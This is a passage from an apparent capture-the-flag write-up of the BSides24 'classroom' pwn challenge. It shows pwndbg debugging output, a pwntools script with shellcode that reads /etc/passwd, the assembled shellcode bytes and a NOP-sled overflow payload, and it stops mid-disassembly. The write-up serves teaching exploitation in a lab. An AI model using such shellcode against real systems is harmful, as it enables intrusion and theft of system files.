<span class="err">────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
 <span class="n">RAX</span>  <span class="mi">0</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffe3275dbf8</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
 <span class="n">RCX</span>  <span class="mh">0x7f4054f394e0</span> <span class="p">(</span><span class="n">write</span><span class="o">+</span><span class="mi">16</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 <span class="n">RDX</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
 <span class="n">RDI</span>  <span class="mi">1</span>
 <span class="n">RSI</span>  <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
 <span class="n">R8</span>   <span class="mi">4</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x202</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffe3275dc08</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f405508c000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f405508d2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
 <span class="n">RBP</span>  <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
 <span class="n">RSP</span>  <span class="mh">0x7ffe3275dab0</span> <span class="err">—▸</span> <span class="mh">0x40094d</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
 <span class="n">RIP</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
<span class="n">Invalid</span> <span class="n">instructions</span> <span class="n">at</span> <span class="mh">0x602040</span>










<span class="err">───────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffe3275dab0</span> <span class="err">—▸</span> <span class="mh">0x40094d</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">010</span> <span class="mh">0x7ffe3275dab8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span><span class="o">-</span><span class="mo">00</span><span class="mi">8</span> <span class="mh">0x7ffe3275dac0</span> <span class="err">—▸</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span> <span class="n">rbp</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>        <span class="mi">4</span> <span class="n">skipped</span>
<span class="err">─────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x602040</span> <span class="n">ans</span>
   <span class="mi">1</span>         <span class="mh">0x40094d</span> <span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>Inspect what is stored at <code class="language-plaintext highlighter-rouge">$rdx</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">x</span> <span class="err">$</span><span class="n">rdx</span>
<span class="mh">0x602040</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;:</span> <span class="mh">0x61616161</span>      <span class="mh">0x61616162</span>      <span class="mh">0x61616163</span>      <span class="mh">0x61616164</span>
<span class="mh">0x602050</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;:</span>      <span class="mh">0x61616165</span>      <span class="mh">0x61616166</span>      <span class="mh">0x61616167</span>      <span class="mh">0x61616168</span>
<span class="mh">0x602060</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">32</span><span class="o">&gt;:</span>      <span class="mh">0x61616169</span>      <span class="mh">0x6161616a</span>      <span class="mh">0x6161616b</span>      <span class="mh">0x6161616c</span>
<span class="mh">0x602070</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">48</span><span class="o">&gt;:</span>      <span class="mh">0x6161616d</span>      <span class="mh">0x6161616e</span>      <span class="mh">0x6161616f</span>      <span class="mh">0x61616170</span>
<span class="mh">0x602080</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">64</span><span class="o">&gt;:</span>      <span class="mh">0x61616171</span>      <span class="mh">0x61616172</span>      <span class="mh">0x61616173</span>      <span class="mh">0x61616174</span>
<span class="mh">0x602090</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">80</span><span class="o">&gt;:</span>      <span class="mh">0x61616175</span>      <span class="mh">0x61616176</span>      <span class="mh">0x61616177</span>      <span class="mh">0x0000000a</span>
<span class="mh">0x6020a0</span><span class="o">:</span>       <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>
<span class="mh">0x6020b0</span><span class="o">:</span>       <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disassemble</span> <span class="err">$</span><span class="n">rip</span>
<span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">ans</span><span class="o">:</span>
<span class="o">=&gt;</span> <span class="mh">0x0000000000602040</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602041</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602042</span> <span class="o">&lt;+</span><span class="mi">2</span><span class="o">&gt;:</span>     <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602043</span> <span class="o">&lt;+</span><span class="mi">3</span><span class="o">&gt;:</span>     <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602044</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">kill</span>
<span class="p">[</span><span class="n">Inferior</span> <span class="mi">1</span> <span class="p">(</span><span class="n">process</span> <span class="mi">33577</span><span class="p">)</span> <span class="n">killed</span><span class="p">]</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> 
</code></pre></div></div>

<p>Excellent, we can reach our shellcode! Let’s try running something more exciting than a cyclic pattern!</p>

<p>The context of the pwn binary is to read the flag from file from the filesystem (<code class="language-plaintext highlighter-rouge">flag.txt</code>). We will try to read <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</p>

<p>The <a href="https://docs.pwntools.com/en/stable/shellcraft.html">Shellcraft</a> module from Pwntools contains functions for generating shellcode. For example, there is a <a href="https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.readfile">readfile</a> module we can use. We’ll add it to our <code class="language-plaintext highlighter-rouge">sploit.py</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># shellcode = '' # shellcode placeholder
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">pwnlib</span><span class="p">.</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">amd64</span><span class="p">.</span><span class="n">readfile</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
</code></pre></div></div>

<p>And run <code class="language-plaintext highlighter-rouge">sploit.py</code> again,</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">python3</span> <span class="n">sploit</span><span class="p">.</span><span class="n">py</span> <span class="n">LOCAL</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
    <span class="n">Arch</span><span class="o">:</span>     <span class="n">amd64</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">little</span>
    <span class="n">RELRO</span><span class="o">:</span>    <span class="n">Full</span> <span class="n">RELRO</span>
    <span class="n">Stack</span><span class="o">:</span>    <span class="n">No</span> <span class="n">canary</span> <span class="n">found</span>
    <span class="n">NX</span><span class="o">:</span>       <span class="n">NX</span> <span class="n">unknown</span> <span class="o">-</span> <span class="n">GNU_STACK</span> <span class="n">missing</span>
    <span class="n">PIE</span><span class="o">:</span>      <span class="n">No</span> <span class="n">PIE</span> <span class="p">(</span><span class="mh">0x400000</span><span class="p">)</span>
    <span class="n">Stack</span><span class="o">:</span>    <span class="n">Executable</span>
    <span class="n">RWX</span><span class="o">:</span>      <span class="n">Has</span> <span class="n">RWX</span> <span class="n">segments</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">cpp</span> <span class="o">-</span><span class="n">C</span> <span class="o">-</span><span class="n">nostdinc</span> <span class="o">-</span><span class="n">undef</span> <span class="o">-</span><span class="n">P</span> <span class="o">-</span><span class="n">I</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="p">.</span><span class="n">local</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">python3</span><span class="p">.</span><span class="mi">11</span><span class="o">/</span><span class="n">site</span><span class="o">-</span><span class="n">packages</span><span class="o">/</span><span class="n">pwnlib</span><span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">includes</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">stdin</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Assembling</span>
    <span class="p">.</span><span class="n">section</span> <span class="p">.</span><span class="n">shellcode</span><span class="p">,</span><span class="s">"awx"</span>
    <span class="p">.</span><span class="n">global</span> <span class="n">_start</span>
    <span class="p">.</span><span class="n">global</span> <span class="n">__start</span>
    <span class="n">_start</span><span class="o">:</span>
    <span class="n">__start</span><span class="o">:</span>
    <span class="p">.</span><span class="n">intel_syntax</span> <span class="n">noprefix</span>
    <span class="p">.</span><span class="n">p2align</span> <span class="mi">0</span>
        <span class="cm">/* Save destination */</span>
        <span class="n">push</span> <span class="mi">2</span>
        <span class="n">pop</span> <span class="n">r8</span>
        <span class="cm">/* push b'/etc/passwd\x00' */</span>
        <span class="n">push</span> <span class="mh">0x1010101</span> <span class="o">^</span> <span class="mh">0x647773</span>
        <span class="n">xor</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span> <span class="mh">0x1010101</span>
        <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x7361702f6374652f</span>
        <span class="n">push</span> <span class="n">rax</span>
        <span class="cm">/* call open('rsp', 'O_RDONLY') */</span>
        <span class="n">push</span> <span class="mi">2</span> <span class="cm">/* 2 */</span>
        <span class="n">pop</span> <span class="n">rax</span>
        <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rsp</span>
        <span class="n">xor</span> <span class="n">esi</span><span class="p">,</span> <span class="n">esi</span> <span class="cm">/* O_RDONLY */</span>
        <span class="n">syscall</span>
        <span class="cm">/* Save file descriptor for later */</span>
        <span class="n">mov</span> <span class="n">rbx</span><span class="p">,</span> <span class="n">rax</span>
        <span class="cm">/* call fstat('rax', 'rsp') */</span>
        <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rax</span>
        <span class="n">push</span> <span class="mi">5</span> <span class="cm">/* 5 */</span>
        <span class="n">pop</span> <span class="n">rax</span>
        <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>
        <span class="n">syscall</span>
        <span class="cm">/* Get file size */</span>
        <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span> <span class="mi">48</span>
        <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="p">[</span><span class="n">rsp</span><span class="p">]</span>
        <span class="cm">/* call sendfile('r8', 'rbx', 0, 'rdx') */</span>
        <span class="n">mov</span> <span class="n">r10</span><span class="p">,</span> <span class="n">rdx</span>
        <span class="n">push</span> <span class="mi">40</span> <span class="cm">/* 0x28 */</span>
        <span class="n">pop</span> <span class="n">rax</span>
        <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">r8</span>
        <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rbx</span>
        <span class="n">cdq</span> <span class="cm">/* rdx=0 */</span>
        <span class="n">syscall</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="n">as</span> <span class="o">-</span><span class="mi">64</span> <span class="o">-</span><span class="n">o</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">fzf2dxop</span><span class="o">/</span><span class="n">step2</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">fzf2dxop</span><span class="o">/</span><span class="n">step1</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="n">objcopy</span> <span class="o">-</span><span class="n">j</span> <span class="p">.</span><span class="n">shellcode</span> <span class="o">-</span><span class="n">Obinary</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">fzf2dxop</span><span class="o">/</span><span class="n">step3</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">fzf2dxop</span><span class="o">/</span><span class="n">step4</span>
<span class="mo">00000000</span>  <span class="mi">6</span><span class="n">a</span> <span class="mo">02</span> <span class="mi">41</span> <span class="mi">58</span>  <span class="mi">68</span> <span class="mi">72</span> <span class="mi">76</span> <span class="mi">65</span>  <span class="mo">01</span> <span class="mi">81</span> <span class="mi">34</span> <span class="mi">24</span>  <span class="mo">01</span> <span class="mo">01</span> <span class="mo">01</span> <span class="mo">01</span>  <span class="err">│</span><span class="n">j</span><span class="err">·</span><span class="n">AX</span><span class="err">│</span><span class="n">hrve</span><span class="err">│··</span><span class="mi">4</span><span class="err">$│····│</span>
<span class="mo">00000010</span>  <span class="mi">48</span> <span class="n">b8</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">65</span>  <span class="mi">74</span> <span class="mi">63</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">70</span>  <span class="mi">61</span> <span class="mi">73</span> <span class="mi">50</span> <span class="mi">6</span><span class="n">a</span>  <span class="mo">02</span> <span class="mi">58</span> <span class="mi">48</span> <span class="mi">89</span>  <span class="err">│</span><span class="n">H</span><span class="err">·</span><span class="o">/</span><span class="n">e</span><span class="err">│</span><span class="n">tc</span><span class="o">/</span><span class="n">p</span><span class="err">│</span><span class="n">asPj</span><span class="err">│·</span><span class="n">XH</span><span class="err">·│</span>
<span class="mo">00000020</span>  <span class="n">e7</span> <span class="mi">31</span> <span class="n">f6</span> <span class="mi">0</span><span class="n">f</span>  <span class="mo">05</span> <span class="mi">48</span> <span class="mi">89</span> <span class="n">c3</span>  <span class="mi">48</span> <span class="mi">89</span> <span class="n">c7</span> <span class="mi">6</span><span class="n">a</span>  <span class="mo">05</span> <span class="mi">58</span> <span class="mi">48</span> <span class="mi">89</span>  <span class="err">│·</span><span class="mi">1</span><span class="err">··│·</span><span class="n">H</span><span class="err">··│</span><span class="n">H</span><span class="err">··</span><span class="n">j</span><span class="err">│·</span><span class="n">XH</span><span class="err">·│</span>
<span class="mo">00000030</span>  <span class="n">e6</span> <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span> <span class="mi">48</span>  <span class="mi">83</span> <span class="n">c4</span> <span class="mi">30</span> <span class="mi">48</span>  <span class="mi">8</span><span class="n">b</span> <span class="mi">14</span> <span class="mi">24</span> <span class="mi">49</span>  <span class="mi">89</span> <span class="n">d2</span> <span class="mi">6</span><span class="n">a</span> <span class="mi">28</span>  <span class="err">│···</span><span class="n">H</span><span class="err">│··</span><span class="mi">0</span><span class="n">H</span><span class="err">│··$</span><span class="n">I</span><span class="err">│··</span><span class="n">j</span><span class="p">(</span><span class="err">│</span>
<span class="mo">00000040</span>  <span class="mi">58</span> <span class="mi">4</span><span class="n">c</span> <span class="mi">89</span> <span class="n">c7</span>  <span class="mi">48</span> <span class="mi">89</span> <span class="n">de</span> <span class="mi">99</span>  <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">74</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">XL</span><span class="err">··│</span><span class="n">H</span><span class="err">···│··</span><span class="n">aa</span><span class="err">│</span><span class="n">taaa</span><span class="err">│</span>
<span class="mo">00000050</span>  <span class="mi">75</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">76</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">77</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>               <span class="err">│</span><span class="n">uaaa</span><span class="err">│</span><span class="n">vaaa</span><span class="err">│</span><span class="n">waaa</span><span class="err">│</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Sent</span> <span class="mh">0x190</span> <span class="n">bytes</span><span class="o">:</span>
    <span class="mo">00000000</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="err">│····│····│····│····│</span>
    <span class="o">*</span>
    <span class="mo">000000</span><span class="mi">80</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">0</span><span class="n">c</span> <span class="mi">09</span> <span class="mi">40</span> <span class="mo">00</span>  <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>  <span class="err">│····│····│··@·│····│</span>
    <span class="mo">000000</span><span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="err">│····│····│····│····│</span>
    <span class="o">*</span>
    <span class="mo">000001</span><span class="mi">90</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Switching</span> <span class="n">to</span> <span class="n">interactive</span> <span class="n">mode</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Received</span> <span class="mh">0x3a</span> <span class="n">bytes</span><span class="o">:</span>
    <span class="mo">00000000</span>  <span class="mi">57</span> <span class="mi">68</span> <span class="mi">61</span> <span class="mi">74</span>  <span class="mi">20</span> <span class="mi">61</span> <span class="mi">72</span> <span class="mi">65</span>  <span class="mi">20</span> <span class="mi">79</span> <span class="mi">6</span><span class="n">f</span> <span class="mi">75</span>  <span class="mi">20</span> <span class="mi">64</span> <span class="mi">6</span><span class="n">f</span> <span class="mi">69</span>  <span class="err">│</span><span class="n">What</span><span class="err">│</span> <span class="n">are</span><span class="err">│</span> <span class="n">you</span><span class="err">│</span> <span class="n">doi</span><span class="err">│</span>
    <span class="mo">00000010</span>  <span class="mi">6</span><span class="n">e</span> <span class="mi">67</span> <span class="mi">20</span> <span class="mi">68</span>  <span class="mi">65</span> <span class="mi">72</span> <span class="mi">65</span> <span class="mi">3</span><span class="n">f</span>  <span class="mi">21</span> <span class="mi">20</span> <span class="mi">4</span><span class="n">b</span> <span class="mi">69</span>  <span class="mi">64</span> <span class="mi">73</span> <span class="mi">20</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">ng</span> <span class="n">h</span><span class="err">│</span><span class="n">ere</span><span class="o">?</span><span class="err">│</span><span class="o">!</span> <span class="n">Ki</span><span class="err">│</span><span class="n">ds</span> <span class="n">a</span><span class="err">│</span>
    <span class="mo">00000020</span>  <span class="mi">72</span> <span class="mi">65</span> <span class="mi">20</span> <span class="mi">6</span><span class="n">e</span>  <span class="mi">6</span><span class="n">f</span> <span class="mi">74</span> <span class="mi">20</span> <span class="mi">61</span>  <span class="mi">6</span><span class="n">c</span> <span class="mi">6</span><span class="n">c</span> <span class="mi">6</span><span class="n">f</span> <span class="mi">77</span>  <span class="mi">65</span> <span class="mi">64</span> <span class="mi">20</span> <span class="mi">68</span>  <span class="err">│</span><span class="n">re</span> <span class="n">n</span><span class="err">│</span><span class="n">ot</span> <span class="n">a</span><span class="err">│</span><span class="n">llow</span><span class="err">│</span><span class="n">ed</span> <span class="n">h</span><span class="err">│</span>
    <span class="mo">00000030</span>  <span class="mi">65</span> <span class="mi">72</span> <span class="mi">65</span> <span class="mi">21</span>  <span class="mi">20</span> <span class="n">f0</span> <span class="mi">9</span><span class="n">f</span> <span class="mi">94</span>  <span class="mi">9</span><span class="n">e</span> <span class="mi">0</span><span class="n">a</span>                     <span class="err">│</span><span class="n">ere</span><span class="o">!</span><span class="err">│</span> <span class="err">···│··│</span>
    <span class="mo">0000003</span><span class="n">a</span>
<span class="n">What</span> <span class="n">are</span> <span class="n">you</span> <span class="n">doing</span> <span class="n">here</span><span class="o">?!</span> <span class="n">Kids</span> <span class="n">are</span> <span class="n">not</span> <span class="n">allowed</span> <span class="n">here</span><span class="o">!</span> <span class="err">🔞</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Got</span> <span class="n">EOF</span> <span class="k">while</span> <span class="n">reading</span> <span class="n">in</span> <span class="n">interactive</span>
<span class="err">$</span> 
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Sent</span> <span class="mh">0x1</span> <span class="n">bytes</span><span class="o">:</span>
    <span class="n">b</span><span class="sc">'\n'</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Process</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span> <span class="n">stopped</span> <span class="n">with</span> <span class="n">exit</span> <span class="n">code</span> <span class="o">-</span><span class="mi">11</span> <span class="p">(</span><span class="n">SIGSEGV</span><span class="p">)</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">36508</span><span class="p">)</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Got</span> <span class="n">EOF</span> <span class="k">while</span> <span class="n">sending</span> <span class="n">in</span> <span class="n">interactive</span>
<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> 
</code></pre></div></div>

<p>But we are still crashing. Let’s attach gdb and break at the address of our shellpoint.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">gdb</span> <span class="o">-</span><span class="n">q</span> <span class="p">.</span><span class="o">/</span><span class="n">classroom</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disassemble</span> <span class="n">kids_are_not_allowed_here</span> 
<span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">kids_are_not_allowed_here</span><span class="o">:</span>
   <span class="mh">0x000000000040090c</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x000000000040090d</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
   <span class="mh">0x0000000000400910</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x10</span>
   <span class="mh">0x0000000000400914</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>     <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x34d</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x400c68</span>
